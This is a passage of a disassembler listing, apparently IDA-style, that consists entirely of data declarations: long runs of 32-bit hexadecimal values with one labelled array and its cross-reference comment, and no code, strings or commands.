		dd 0A0B99ABEh, 0FA24C921h, 0FD889CEBh, 783F894Bh, 0E0C8DB87h
		dd 6F6A0BDDh, 7F249095h, 0B28101F5h, 842EC155h,	68A0EB82h
		dd 8500E9C9h, 50C4483Eh, 1666A7E1h, 40DEDA67h, 4724CAF8h
		dd 2F16FE35h, 0E107D4D3h, 0C6018BEAh, 0B43C46B2h, 0E0007722h
		dd 5CB07CDCh, 38277014h, 0DE847D81h, 0FA220B34h, 2163A0C0h
		dd 0BF7B2CAFh, 83BB41C8h, 4BC7C0Eh, 0BD33ECFEh,	2CDE78B4h
		dd 118471B0h, 1D5031Bh,	0A888183Eh, 3B7D0h, 0D17B63F7h
		dd 0B34C92CEh, 2208958h, 690CA0Ah, 0D37841A4h, 2EC67C10h
		dd 7044D0A4h, 1D9F0293h, 0ED5A6B1Ah, 8312C660h,	0EA00667Dh
		dd 0BF010A07h, 70F938h,	2EBB4E74h, 0F8C8AD24h, 0B301C74h
		dd 0B5D108F6h, 0E4C958EAh, 3F80E704h, 80BCAC46h, 16F030AEh
		dd 0FA940064h, 0E58ED574h, 0F63EBCD8h, 9F4CCFBh, 51160470h
		dd 256D1100h, 2430A003h, 1D64C82h, 0F3535B97h, 2C5657F9h
		dd 8212C834h, 0D9B56403h, 0A3E3C040h, 9188C62Dh, 40029BB8h
		dd 650A6824h, 7E6900F0h, 6FDA346Dh, 491F8B09h, 645B4Fh
		dd 6EBD82F0h, 0FE00F468h, 45E0ADEEh, 1D3F30Eh, 9AD5A5E6h
		dd 0C0CF6399h, 0CE5A75ECh, 2B7E80Eh, 0C0316A52h, 944F3F8Ch
		dd 0EB348934h, 67D22C82h, 6409h, 71C34345h, 0A3CEFC2Fh
		dd 78512D00h, 0F1FF6D8h, 404E16EAh, 39482C55h, 0F00F0B01h
		dd 3C172A9Bh, 6BCEBEC0h, 3000884Eh, 6DDEABAFh, 5C944BE0h
		dd 73C28649h, 0DE480411h, 274C4321h, 0C9E36051h, 3802C061h
		dd 1A02207Eh, 4500E634h, 50F5C337h, 0BD5857h, 3D771309h
		dd 0F41D66ADh, 0D1222B00h, 72B9E5A0h, 0CB7C158Ch, 0C04C84D2h
		dd 0B48E9602h, 3C800570h, 674E3C8h, 0FB4AC209h,	8074C1C5h
		dd 23627110h, 2BABB200h, 8DFD8AEDh, 0A004170Bh,	0CC1C1307h
		dd 618B784h, 0F2382275h, 0E4BB0468h, 0B02FB9F9h, 0F44360A4h
		dd 3BD10770h, 0B0BB510Eh, 46B4E3F9h, 2820854Ah,	7059E97h
		dd 205FCBF7h, 12AE50CAh, 6E180B85h, 0B5C12E02h,	7CEB796Ah
		dd 904F4C45h, 0B7003F22h, 0D3C9B6FFh, 347B57h, 5A0C9C40h
		dd 5FF37086h, 3D0943E2h, 10F62052h, 94B107E0h, 973B4704h
		dd 0BB858033h, 84501916h, 98C16BBFh, 0AE9C6F06h, 0C900883Dh
		dd 65DB20C1h, 450D6BF7h, 111D89CAh, 0C0027C54h,	0D0FAA28Fh
		dd 6753141Ch, 0FF2CB8E7h, 9ED4224Dh, 0D3DA4068h, 7101FBDBh
		dd 0CE41730Dh, 54EDC135h, 13AE8BDCh, 45CF1468h,	0E02482A4h
		dd 43CE0C0h, 14EBC8Dh, 6FF59F0Eh, 64200758h, 7C048867h
		dd 88C42689h, 0AEE900EAh, 0FAAD2845h, 0D09F6B7h, 44D154CCh
		dd 0EA870004h, 248625A2h, 0B72E9CECh, 51091321h, 80B44C7Eh
		dd 946911B8h, 18604014h, 8100EC9Bh, 448F9D2Bh, 5C0C407h
		dd 0E6A05FFh, 19E88324h, 5BF6F91Bh, 0D285F039h,	26E294h
		dd 0FD461644h, 80A2C550h, 0D0104102h, 0C8FCB15Ah, 896EA4DCh
		dd 980708EAh, 0E990638h, 284FFB6Ah, 0EBFDF500h,	0B19670AFh
		dd 4562754h, 0A659AC20h, 0D00433Bh, 2AB2A546h, 677C12Fh
		dd 214C66D0h, 4E404810h, 5A58A1F6h, 0CF72110h, 88322F00h
		dd 15CB2D0Ah, 4DA507EDh, 4F4298E1h, 2FF16FEh, 6BD288C4h
		dd 25685E02h, 0A9CC2103h, 979FEC3Eh, 9495F800h,	25FBAECCh
		dd 5C001A2h, 49402E41h,	6E0287Fh, 0C401678Bh, 0B0DC0008h
		dd 92819BEEh, 6A091E7Ah, 0A426407Eh, 8C008264h,	9A5EBC66h
		dd 835B5900h, 5DED0693h, 5C05136Dh, 68AC00D0h, 6F7B1F4Dh
		dd 78EC512h, 1CA56040h,	0D70D9EA9h, 73EC8359h, 1708912h
		dd 64688820h, 29066E9Dh, 102F8099h, 90332B07h, 38CA6EBCh
		dd 1FE2481Eh
dword_4F0044	dd 0FEA74802h, 4ADEE013h, 22240087h, 59F1A3E5h,	7A17883Bh
					; DATA XREF: ___:0042CC8Co
		dd 0C8088B7Bh, 8034A921h, 0DB7716EBh, 0A60486ADh, 989E1597h
		dd 83CC4A1h, 0B8315680h, 3B2E2B2Ch, 80395BEEh, 2D44A833h
		dd 182A475Bh, 0C946ACA6h, 9D71C549h, 348E7CB1h,	0E2011287h
		dd 75C47BFBh, 28B7D834h, 41CAE9Bh, 7BD49521h, 206C88CBh
		dd 923CF058h, 7D60E2h, 0DABB597Fh, 2E08B973h, 7C568B0Dh
		dd 606021C2h, 48A9549Ah, 9D9F11F6h, 81050041h, 0E89C02A0h
		dd 0E2360958h, 700FFE46h, 2154D0D2h, 52006B9Fh,	0D78F7F1Dh
		dd 8C5B460h, 4C036D96h,	0C74BB181h, 2878482Dh, 9F85A28h
		dd 9E5ED840h, 0FA3FBCC4h, 0CD8000A4h, 3F4E3990h, 6D4200E3h
		dd 45F517FDh, 0D044FB6h, 557CD8AEh, 1054BC80h, 23C10583h
		dd 7F56658h, 3384BAFDh,	81AC65D3h, 0EE3FC259h, 6084D8F9h
		dd 4116767Eh, 5903C920h, 96477021h, 0B8CA0C00h,	26411281h
		dd 39D0A634h, 7C371Eh, 0DCB965E1h, 0FE1F4759h, 0D157E000h
		dd 0FF429EEEh, 5CC5587Bh, 0FE70C281h, 80543845h, 646A3CE1h
		dd 89171EF1h, 0D1DE4022h, 0C9EE435Dh, 277C9E00h, 0FF70D416h
		dd 0BE1CA840h, 4D100596h, 2061052Dh, 0E37036E0h, 57CCC30Bh
		dd 33408068h, 5C720865h, 3602A8B3h, 716F142Dh, 0D050880h
		dd 0D72568B1h, 24D4C41Dh, 9B89D59h, 0DC487652h,	6009E156h
		dd 516905D1h, 509600D0h, 2FAEA70Dh, 330007E8h, 0C9552670h
		dd 5ED9777Bh, 3430568Bh, 2D708004h, 0EC7CCA06h,	1E887E09h
		dd 51581004h, 14130024h, 98F6C1AEh, 0F5E287B0h,	0B60B21F6h
		dd 8050CACCh, 0D0884570h, 73B72633h, 0CFAF8024h, 4AFC6631h
		dd 5774D11Fh, 9CBBEB0Fh, 0B01B2B83h, 0B08C6CAh,	95F9FFD5h
		dd 0A421CF8Bh, 2A568EE1h, 2A44F820h, 0A7B200DAh, 0AA4F97DEh
		dd 453EA23Dh, 5D5A92B7h, 5E121CC1h, 18C4182h, 0D64070DFh
		dd 8F047C67h, 2C526A30h, 94C90087h, 67C700E0h, 7E09B30h
		dd 781FD84Eh, 3FC08699h, 0ABA60DB3h, 53061FB9h,	0DCAC63h
		dd 0E560EAB8h, 0DFE550D5h, 297EB280h, 5E084094h, 26D8964h
		dd 0EF020446h, 573A6F01h, 14D185h, 0E08D9D5Eh, 96008828h
		dd 6ABEC980h, 225B76h, 51F5E49Eh, 6D70D8EBh, 65B3AC09h
		dd 8A3409D3h, 0D0699400h, 588E0F34h, 5460154Fh,	4036FD7Eh
		dd 40CA474Ah, 2B2F217h,	878B6E2Eh, 6AD39880h, 290FDF1h
		dd 3CA6F705h, 0DCD05D52h, 1A4AD8Ch, 0C8D36323h,	700525DAh
		dd 0FD8B64h, 93460370h,	66980AA4h, 497D44B8h, 38646Fh
		dd 8FA882C8h, 590AECD1h, 0E7948416h, 0E1D08820h, 319B0004h
		dd 0A8379569h, 18F06778h, 39D42400h, 1A0BDC83h,	0B4A09503h
		dd 5F568711h, 71764B12h, 0D6C64802h, 0B08403Ch,	3D67276Eh
		dd 76539464h, 394922D0h, 9100F660h, 9DEC70CEh, 8E75BB33h
		dd 57167512h, 90EB2C45h, 0BE916580h, 144B1E0h, 0C201BFC6h
		dd 80E3E0E5h, 414E4500h, 83087B9Bh, 294F653Fh, 0BEDC07CFh
		dd 26692052h, 0ECA633C9h, 1CE7FE24h, 0C47DCB40h, 0D6C00541h
		dd 0A88B5C98h, 0F520C5BCh, 0E200288Bh, 0B6773E62h, 3C71955Dh
		dd 94C0582Dh, 4CB4030h,	0F883ED4Bh, 4416A514h, 8700101Dh
		dd 7E7F9791h, 69F729C5h, 61711E4h, 49A306C2h, 0A04A4481h
		dd 1FB86A00h, 0C9B7B068h, 696101A1h, 0F747E60Eh, 174C3C9Fh
		dd 0F08C3FF2h, 9A048CFBh, 2A4FEAFDh, 0E3884CACh, 0E97CD211h
		dd 8A771860h, 0A04F3C74h, 472B9762h, 24F1E4EBh,	11B03A5h
		dd 2584E8E9h, 0FE288458h, 788133F4h, 0C8206F06h, 80994F8Dh
		dd 24A878D4h, 36557412h, 1D8C28B0h, 86E4CA07h, 0B0421346h
		dd 8C604845h, 28ED74E1h, 20902BCCh, 70B06D0Fh, 7C2985F5h
		dd 0ACF717BCh, 81BFBA00h, 1CD90538h, 87A6A000h,	0A76FDC22h
		dd 0AD2C0248h, 3BF6462Dh, 0C2449C74h, 204E70E9h, 1D59838Ch
		dd 25942000h, 0EA398FCAh, 0B8560F69h, 0E1850CE2h, 0C7440576h
		dd 472060CDh, 0A30428F5h, 0A0400532h, 1061C089h, 0E1219C69h
		dd 0F147891Ch, 0D6A0450Bh, 0B856101h, 8C95B8DAh, 0D0501499h
		dd 0A114FE82h, 7FDA3F05h, 0FF635709h, 8F03E309h, 0C7EA6790h
		dd 4466E970h, 0E3053112h, 1E4D03CCh, 0C1F4B8h, 217DB08Eh
		dd 326BE3E8h, 0EC022E01h, 0E4C65E63h, 0B4D22438h, 5400B7A8h
		dd 0A9FE0984h, 78641A8h, 1FB121A3h, 0E143E074h,	0D094640h
		dd 64C91267h, 80A899A8h, 692CDAD3h, 0EF003935h,	5C556A2h
		dd 0ED155FF3h, 60FD2FDCh, 4F96E4DEh, 0B03099C2h, 9549D1EDh
		dd 0C3E92D69h, 0F62DB465h, 47E090Dh, 0E2F4B8C8h, 0E4917300h
		dd 78AD92E6h, 0EECE4C8h, 8B573B39h, 4A4751BEh, 23DBF800h
		dd 527B85h, 1637F36Eh, 2DE7038h, 2020574Fh, 3BE7DD8h, 790B062Ch
		dd 0A2B9B24Eh, 0BC442F26h, 0AC4549FEh, 48D8C24Fh, 0BE309446h
		dd 0B8E611EEh, 4B849E72h, 74A268CEh, 8D40E451h,	0E443AE92h
		dd 0A9573E53h, 94F43D09h, 0A57C1580h, 3802EC5Dh, 0EBABA8CBh
		dd 49A580CAh, 7F83583Bh, 0A2A0F44Fh, 0ED70610Ch, 6859A8h
		dd 534876Fh, 0C5CEA2C2h, 0F088D0D3h, 87D10049h,	60897355h
		dd 17003F7Dh, 200D529Dh, 9B9F04h, 1257D4C0h, 41EBF2C2h
		dd 9242C0BEh, 30DA1178h, 664C6D3Ch, 5AB08C54h, 5F4CF8E3h
		dd 3D9C2278h, 2C996520h, 875B071Bh, 2529259h, 0F071EC0Eh
		dd 80BAFE1Dh, 7FCFA22Ch, 4ADAC2h, 28E2A990h, 0A18145BFh
		dd 366AE103h, 0B871B524h, 15B098Dh, 2B87035Eh, 0C1DDFCFAh
		dd 0F3EEC057h, 80CB522Ah, 4E697016h, 9FF1C430h,	7862ED8Eh
		dd 0B2CA007Dh, 3FD3AFAAh, 0F072578h, 3DF7FC6Ah,	2FE4D089h
		dd 3438FBCBh, 0B50F727Dh, 618C64B1h, 40FD6D7Eh,	543F698Bh
		dd 0B4828C6h, 0ED072474h, 729D3109h, 0FABD008Ch, 0B539FC98h
		dd 4F4C1B44h, 670C07D1h, 6220307Fh, 6F669FF5h, 12A8606Ah
		dd 9980E8A9h, 1668D9Ah,	0A2F400BEh, 0EB4521C8h,	0F10157F6h
		dd 0E20417F5h, 0CC408840h, 5E271Fh, 9D7C5BDAh, 6C07E56Eh
		dd 0D3250B07h, 334035D4h, 24CB05h, 0E4E3485Eh, 0B5753292h
		dd 94EE212Fh, 7C100064h, 17C11982h, 6006437h, 0F9B90DB4h
		dd 595028h, 43A157BAh, 0B2783385h, 3E181378h, 91103566h
		dd 0F1947787h, 14752180h, 5D65FA3Dh, 0E43A2280h, 40BC9E91h
		dd 4025B582h, 90F4A31Dh, 0BF622981h, 1B3083DAh,	2BB60066h
		dd 5E11A7A5h, 0F075407h, 0CD748FDEh, 0B7851730h, 0F1EB01DBh
		dd 2AABB2C5h, 0DAA642C2h, 89C9EC7Eh, 6850992Ch,	3F80C910h
		dd 9ED51901h, 33F90F13h, 0E112C8h, 0FE6A2309h, 0EFCFFB07h
		dd 5F5879FAh, 14C84BA0h, 3C650EA8h, 1EE00721h, 85FD5C59h
		dd 0E4DE52h, 0CF9EE12Ch, 164B14h, 0CAD7D30h, 0FAF9475Ch
		dd 0F198D504h, 94C265B8h, 80785E9Fh, 83C0D26Dh,	0FCEFC541h
		dd 810068DFh, 965C8078h, 7A402AB0h, 0D4DD178Bh,	401817E6h
		dd 996BCF3Ch, 0D112D6C3h, 0D8E2C17Bh, 3C9E3F02h, 94FA3D53h
		dd 52236743h, 384ED18h,	3F41C482h, 0F1ACA54Ah, 90223B69h
		dd 7C40104Bh, 0B860ADF1h, 181874B8h, 3025CAD6h,	0EF075496h
		dd 0C47B2FFBh, 0C29FA48Ah, 0ABA0A09Bh, 854122E5h, 8A693302h
		dd 8001EDBBh, 4F521594h, 0F07F7C02h, 6A3704E1h,	0CCFF6D94h
		dd 0A22768F0h, 4FD0E4DAh, 968CC886h, 0D317C30Bh, 13A0CCEDh
		dd 3D675B5h, 22D17490h,	0FE0D598h, 0F306672Ch, 0C2C93907h
		dd 57E3C7E1h, 0C9C0383Bh, 45CA6301h, 0C8EFECF0h, 0B0EDE071h
		dd 0BD3C2478h
		dd 5C9EF644h, 0FB645C80h, 1C29703Bh, 0C4C72F4Eh, 0C8604C57h
		dd 710007B8h, 5ED1B205h, 12064D84h, 0D0F35FB1h,	860C6670h
		dd 2E6D9201h, 0E46521DEh, 0C4EA0847h, 2555EE60h, 94A700BEh
		dd 0A259E042h, 7E567067h, 0BE6A2194h, 7BD32605h, 2E7889BDh
		dd 43032C00h, 0A93E9F93h, 7FF08480h, 2EE90099h,	72E8BF7Ah
		dd 0C05F9E8Bh, 4F685080h, 66730E30h, 6ACF4177h,	0C3E68580h
		dd 189E581Ch, 0CA148B00h, 3606CD8h, 349D2806h, 68807E17h
		dd 7018BDB4h, 0AC51D203h, 60EB5C5Ah, 527DB205h,	812CF211h
		dd 51729FEBh, 0AC33CEDDh, 4D73290Ch, 1307A6D0h,	1DCB542h
		dd 0FD67ECD0h, 2F5D017Eh, 0F45F8EF7h, 1C0873E5h, 451293D5h
		dd 26BB08E4h, 41DCAD9Eh, 44E18C49h, 0CF98A9A0h,	0DA41E745h
		dd 88CCA9E0h, 7580157h,	9DAE2A0Eh, 4C103EA2h, 0A8171690h
		dd 6A197C00h, 7578F125h, 0C6203A0Ch, 68404A2Dh,	310B4DB4h
		dd 61ECCC05h, 846843D0h, 0C106BC0Bh, 99816071h,	9704B8A3h
		dd 4D01020h, 51C9063Bh,	527C816Bh, 2C686DA5h, 3584066h
		dd 5F9A58E6h, 0B9153C7Dh, 85B839CFh, 0D22DAF98h, 0F24F810h
		dd 0EB564840h, 0C80F8C2h, 0EAF5F66Ah, 95B73670h, 38C82CB4h
		dd 27706626h, 8CB0F8E6h, 0DE95BD0Ah, 0BC0E0CC8h, 24CCF1Dh
		dd 7E6FCC78h, 66651F8h,	0C502D731h, 3F1802D8h, 8C207049h
		dd 171DB1h, 3871E04Dh, 7E15FBD4h, 6B4A8472h, 946DACC8h
		dd 0FFB54024h, 8969D2Ch, 0D4D11580h, 0AF609Bh, 3B6F51EAh
		dd 0B03FFE94h, 0FB17BF09h, 3C51ABh, 0FDD87FB2h,	9CF06EB5h
		dd 0D48D0700h, 4809FE9Eh, 3CFF2521h, 0ED4240E4h, 98C9EB1Ch
		dd 0FE96B96Ah, 0A7C728CEh, 0E85EC29h, 6824C016h, 204AF482h
		dd 163150B0h, 2253400Bh, 0C054CB81h, 0DE9EF820h, 0E8AD4BD9h
		dd 0A48EA490h, 10E4E04h, 0F0E64023h, 2F6ED16h, 6BCC3214h
		dd 0A502846Ch, 6E69D901h, 7EC6940h, 0A0EC117Eh,	9FCB082h
		dd 693D6440h, 36BB38C0h, 1721EB2Ah, 5D192BF8h, 0CA00224Ch
		dd 4322FB06h, 5C94507Dh, 6D0010DAh, 312658EEh, 6BEBFCC4h
		dd 83C95428h, 0B09CB97Dh, 1410EC2Ch, 0AD6E4984h, 0CED048h
		dd 338DA0E6h, 4CBFA55h,	105904AFh, 0B060ACCAh, 286E547h
		dd 0B7BE2653h, 9CD63306h, 4CCA1413h, 424EDC58h,	0CDC67B4Ch
		dd 884F0474h, 0D37A9F49h, 9E18A08Eh, 2D366740h,	0A820DEA7h
		dd 0D86AE160h, 0F892EB03h, 0F0A3DDEDh, 1D20A0Eh, 0B4E85812h
		dd 3B7CC643h, 34C9580Ah, 7748FA94h, 0E10328B8h,	0B98EB749h
		dd 0DE47E472h, 4C1301FAh, 64B03768h, 0E14B4340h, 733A707Ah
		dd 29D8119h, 3B4E1EF3h,	0CBC12080h, 0B93FB257h,	0E6665200h
		dd 0C999EC43h, 0E01142Fh, 5B0068E2h, 0B805B17Ah, 7B0FA625h
		dd 0C01E09FAh, 0A45E0C88h, 567E284h, 26D50B4h, 2CC0B145h
		dd 0D98E81DCh, 0F487DA68h, 0B0A84A7Bh, 0F165D130h, 0C401EB5Fh
		dd 75DCEE6h, 5ADAC6C0h,	30781675h, 41764538h, 6577091Eh
		dd 5905F08Bh, 9638B0E4h, 0B0BD670Ah, 0D94350h, 39CCF46Eh
		dd 79091F3Ah, 0EC6BFC00h, 0E6BFC1B6h, 0DCC04EA7h, 0BA076F84h
		dd 21904068h, 447759B2h, 0A86B2BBCh, 0E4208618h, 70BA9CBh
		dd 0F172C5C9h, 930E00A8h, 74C10860h, 0EF1D2800h, 8ABACCA6h
		dd 4035001Ah, 0AA84466Ah, 9C2D7E53h, 45D8A0AEh,	77C79F3h
		dd 0D9FCDE16h, 0D56D90E4h, 8295174Bh, 5CF520ECh, 0CA25806Ch
		dd 668955E4h, 5244C01h,	7B54FDADh, 0CB6D10F0h, 3C9004D9h
		dd 0BB001B58h, 0EA57E0A0h, 3A642912h, 9F002A5Eh, 6A0D8454h
		dd 849052FCh, 68FE1C25h, 12D7665Ch, 0D09DDCC4h,	0DECE324Ch
		dd 0E0BDC500h, 95EF1793h, 45610F07h, 960205A8h,	0F0F0443Ch
		dd 433CDCF6h, 59F00A08h, 6C040886h, 80805240h, 1F910BACh
		dd 40F1720Fh, 675BB98Bh, 0A7247885h, 0E4011A62h, 5664593Fh
		dd 790F52C4h, 0EDD20B22h, 0B078AA66h, 6E109501h, 52B4C67h
		dd 0EEF0ACD1h, 78974C2h, 29FFD0D6h, 0EF2142D5h,	0A04EE4D1h
		dd 6DABC889h, 2AE0A4h, 46F79C5Fh, 9DC1DCA5h, 0ED00B091h
		dd 26497CABh, 9E9F017Dh, 9AEA0BF9h, 718C6445h, 0DE02BC99h
		dd 51690D2Eh, 575F0030h, 0D640BA0Eh, 36F1E202h,	0FE4D3FDFh
		dd 42C240CCh, 84B78854h, 8C495C58h, 0A864D609h,	280AEC03h
		dd 0E25FCCEEh, 0BEACFE7Eh, 67078876h, 19E910Fh,	0FE8B4269h
		dd 0EE13E034h, 0B5824AC1h, 6A02E14Ch, 7FED7C31h, 0E08B4708h
		dd 26837C4h, 0B2FD847Dh, 84C87024h, 10BD346Fh, 4627934h
		dd 483A1112h, 0D194D28Bh, 0A095FA25h, 721088Eh,	7CEE2042h
		dd 0F42249F0h, 0F204CC0Dh, 60160082h, 547538Ch,	99E448Bh
		dd 0F82C8082h, 0D33B31BBh, 54607F6Eh, 5903C768h, 129C900Bh
		dd 0C83C8DC5h, 8500E2B0h, 8C6CF666h, 9BFFD1ACh,	0BD511D0h
		dd 6475F020h, 8ACC7CACh, 2E021046h, 196AD1F8h, 99E07461h
		dd 7053D056h, 788D318h,	804894E2h, 0D03A8EF8h, 36005C15h
		dd 0B6B42F63h, 4F55D403h, 35480507h, 806CEC3Fh,	1D397209h
		dd 0D4C107F4h, 2076233Dh, 0C90F47FDh, 7BEBC606h, 0F6166CBh
		dd 0A9A7EEB7h, 49F3E901h, 80EA08Ch, 9FEC2102h, 0F624BD7Bh
		dd 662FE0A0h, 97019D1h,	78608900h, 6DA7CE61h, 90581363h
		dd 46E042FDh, 0D8614FF0h, 0EFC41080h, 689B001Ch, 82836A18h
		dd 0C49597ABh, 4B863B80h, 3BB27B80h, 0E205A7C6h, 0BBA8B054h
		dd 12569B00h, 49DA53B9h, 0ED0C38DFh, 8200BA3Ch,	0E2B2802h
		dd 16004F69h, 188666C7h, 9E6E6A6Ch, 704C0BA8h, 0FC278C14h
		dd 0F30C3842h, 0A10D076Ah, 3AFA6E14h, 94A02710h, 9D38BFEEh
		dd 6004D17Dh, 0D98F1AD6h, 0AA0B3880h, 4880A254h, 25EE4BC0h
		dd 9CA1FCC3h, 6F18FA70h, 2076C822h, 8EA69FCCh, 40307702h
		dd 63052378h, 0EBB898Ch, 0C2EE5E61h, 6E080038h,	242051A8h
		dd 691C78EAh, 557A74C8h, 0BC041F00h, 0B780F035h, 4B69E2BEh
		dd 1198B34Ch, 884A23C8h, 0C4002768h, 0F9A492FAh, 79D538h
		dd 0CB08B537h, 0E74DB08Ah, 6816B92Fh, 5C2D90F0h, 4589F89Dh
		dd 6AF04476h, 0A8F06Fh,	2D17DCC6h, 688B72ECh, 602A6E25h
		dd 5A6DDEB0h, 13D41603h, 34E430F4h, 21170C2Dh, 844557EAh
		dd 0D820BE7Ch, 488BE16Fh, 0CD21A466h, 9B80D821h, 1C0E7AB3h
		dd 0A37C96h, 0E8199FFFh, 51AEA882h, 0F2007C96h,	79696DE4h
		dd 954B8BDh, 8380E7B0h,	0A10E1C4Ch, 0A0C75AD5h,	0B8C6E126h
		dd 0F1530207h, 69C92261h, 0BC1E8CF9h, 0EB202F22h, 4024B044h
		dd 3342A4A1h, 5A0CD067h, 0ABF847B2h, 53E07329h,	2747F9C0h
		dd 0C4423D2Dh, 0C8BF0730h, 0D391A756h, 96E08731h, 5A020140h
		dd 767C61D4h, 0D4805521h, 3CA188F1h, 80345448h,	222987EBh
		dd 6A2C0064h, 4066334Fh, 0A1DCF654h, 800C3C3Ch,	5E214CA9h
		dd 11BB701h, 3E64510h, 8AB6294Fh, 14E46611h, 0C0886F17h
		dd 0F4650136h, 35A1CE76h, 84202FD8h, 209D90Ah, 0A57EA240h
		dd 506085ABh, 0E800CA6Bh, 65F72C91h, 2AF73EBh, 2259FD93h
		dd 68E9A0BCh, 55E209E1h, 6ED7D010h, 5126CEEEh, 0F82114EBh
		dd 0CCA42F00h, 71B2AFh,	0B67CE4E1h, 373A45FFh, 464F7D79h
		dd 0A374EC70h, 5D0700C3h, 0CE460160h, 78015BEDh, 0D2D77516h
		dd 0BCD4B530h, 48A1002Bh, 0C8E90F8Fh, 663FF4EAh, 9C4300DEh
		dd 1D0D4F4Eh, 3BB800C9h, 75DB1DFh, 2BF8D974h, 406CE545h
		dd 6F7B1E00h, 6A1F8B8Ch, 0C104DC92h, 0ACAA582Bh, 9D299CF0h
		dd 4F3EAC04h, 82D7A04Ch
		dd 28982161h, 0C8D8E5h,	57C219D0h, 0F46003DEh, 580B08A8h
		dd 839C29E1h, 4A17FF6Dh, 0F9F4C851h, 2E4D9C00h,	0AEC4E38Eh
		dd 18E04Ah, 8FEC8ABBh, 7B238CFFh, 8E00989Dh, 0CDBF257Ch
		dd 74617879h, 0BC288B92h, 0A9ECC2C2h, 7A4928E1h, 4B3B1044h
		dd 0CBC77C01h, 80EC796Bh, 6F31DDFBh, 0D3DA0B94h, 0C896E221h
		dd 0B8A3E400h, 6034F842h, 2F1758F7h, 1C8F441Eh,	553CC471h
		dd 0C030BD67h, 0B85ECF6h, 222600C8h, 49403873h,	789EEEC6h
		dd 0DE71B506h, 0D074EFE9h, 709465h, 730E160Ah, 720030FDh
		dd 0B6997E60h, 0E8487178h, 0D48904C0h, 0C15DB0FEh, 10D3C800h
		dd 58C6BE69h, 5BC0A09Fh, 8DFF869Ch, 0D900AFF2h,	848BC64Dh
		dd 0BF6A398Ch, 50BBB481h, 0AD6C3027h, 0C40125FCh, 8F14F2D9h
		dd 86F9119h, 97416CDCh,	8507C58h, 58CDC3A8h, 1D7188D4h
		dd 4124C2F2h, 17FE98EBh, 28338Bh, 7A1D80DFh, 3EE47BD7h
		dd 979FF8F9h, 23D98069h, 0BA65BD56h, 0A00A5Ch, 5ED8DF6Fh
		dd 21D6658h, 12862C26h,	4C6EC2Bh, 0E9DFF701h, 0E884181Eh
		dd 79AB4C8h, 0CFCB577Fh, 0AE40C488h, 7D403C2Dh,	1E43CB76h
		dd 19ADC4Fh, 0FF1B2F40h, 0B4882B14h, 18728876h,	1341D909h
		dd 0D4F169h, 10B9E3BAh,	0FE3CC15Fh, 0B6F00D3h, 0DFF2B0BCh
		dd 651104F9h, 4020E23Fh, 438D863Ch, 0C2E801BBh,	11B190D5h
		dd 0FBF6709Dh, 18210D4Eh, 54C89A28h, 62FD03EFh,	495D1187h
		dd 406184B8h, 0E75E4C73h, 8DC68460h, 1FEFA02h, 0A5295E56h
		dd 303AEC24h, 0AD018A9Ch, 31363322h, 8440C65h, 2DA6B883h
		dd 0D0E40729h, 742F2000h, 8436EF2Eh, 6F5C1406h,	0F32CECE0h
		dd 0E9A53BD0h, 0E3503081h, 836086Dh, 55400A01h,	0ACA40344h
		dd 618C0225h, 0D7FA24C7h, 0A546E357h, 0BE9808FCh, 62005BB3h
		dd 60043D44h, 0EA4C16h,	54C05845h, 0EE6FD1CBh, 5F8F201h
		dd 0BE286ABFh, 1255D4DCh, 107CD6AEh, 75BB86h, 6C57E72Ch
		dd 0F6B33CB4h, 0F12AB100h, 9F30B2B5h, 0B6A40051h, 8AFC79BDh
		dd 9D0040E0h, 605E0C78h, 23B9Ch, 23F671D9h, 0F209E43Fh
		dd 0FA786163h, 0EC70EF0Bh, 3AC510E3h, 90E0F893h, 29023661h
		dd 0D21EE4FEh, 464C23E6h, 407140F7h, 0E19067F9h, 520DC1C0h
		dd 0B0E05E3Eh, 7321C0CDh, 476366B5h, 79AD1500h,	53451CECh
		dd 0E1D715E9h, 0B72014A3h, 60985740h, 2622196Ah, 8CF45137h
		dd 93742D00h, 3DC25D70h, 6E040C72h, 7BC9F52Eh, 0EFE22400h
		dd 1D1A450Ch, 81D83E66h, 0CFA1806Dh, 3D4C9800h,	450D61C2h
		dd 854640BFh, 5A59931Fh, 0EEF8F3D8h, 380EE1Ah, 0AFD8E91Eh
		dd 914C6F3Ah, 62A70385h, 88E2F4B3h, 1095D4Eh, 0BE08496h
		dd 80F70A7Ch, 50DC8A91h, 18C02088h, 20FFDA1Dh, 2301FA18h
		dd 0CB599226h, 0F680D847h, 0F1D1F204h, 0EC1591E1h, 5C0F0E6h
		dd 0B059E072h, 47C911C0h, 622A03EEh, 77680D65h,	5A19D9AEh
		dd 1AA17276h, 20F5E042h, 27BB532h, 0AC73530Fh, 0F309867Eh
		dd 43A839A1h, 80A3669Ch, 0DB460AF6h, 0F403EB54h, 0F52F6F45h
		dd 49E6F8h, 8FD49A99h, 5618016Bh, 0FAD75300h, 0F687DC70h
		dd 491C3E09h, 0C6F03D9Ch, 0A00E7A1Fh, 0C76444h,	53828848h
		dd 81E8EC04h, 93CD40C3h, 0A230E85Dh, 0F10F00B0h, 0F71BABE0h
		dd 1F24F3E7h, 0F20010E8h, 4A740B08h, 6098FE01h,	925EE969h
		dd 0C34C4312h, 471E0011h, 2826F779h, 3543B08Ch,	30E920F0h
		dd 0A1EA40B0h, 0B14A9600h, 3B5AD0EDh, 2711DD3h,	0DC2440F9h
		dd 0B568DA3Dh, 2C6D2524h, 0F4082164h, 5718671Eh, 0EB8151h
		dd 23C701DFh, 10B53D3Eh, 9F507093h, 0E7EF3D01h,	0D1B33207h
		dd 0C2560024h, 25247C39h, 41EFB0E2h, 62AB155Fh,	580CD045h
		dd 392496Bh, 0BAA0E057h, 74880ECDh, 750266CCh, 8ED8156Fh
		dd 0E68966Eh, 0EB297392h, 7821FB2Ch, 91CD0601h,	17A839CEh
		dd 0DC4082C1h, 7DE2B2h,	61225A1Fh, 0E43895DCh, 0CE406D50h
		dd 738C5852h, 0B004FE0h, 858C697Dh, 1769031h, 59808312h
		dd 10271708h, 604544E9h, 3588A86Dh, 0B6004325h,	98820C70h
		dd 24015CACh, 62C045B2h, 0BC41D7BCh, 4090457Ah,	6C428550h
		dd 3C0020D6h, 0B46D4C1Bh, 0E9E8E34h, 451E7A4Ah,	373FFFA0h
		dd 0B6E60BF1h, 0D8036676h, 10FA3BA5h, 815E00F0h, 0E056E771h
		dd 820022B4h, 0DDEE7780h, 770D063h, 0DF0F0D59h,	0ECA0CE97h
		dd 55139CA5h, 4F749h, 0C53B5BE8h, 913ABE59h, 52491FC8h
		dd 0CA5C30A7h, 0C500E204h, 0EA13E192h, 1B7B84Eh, 0DFCF2250h
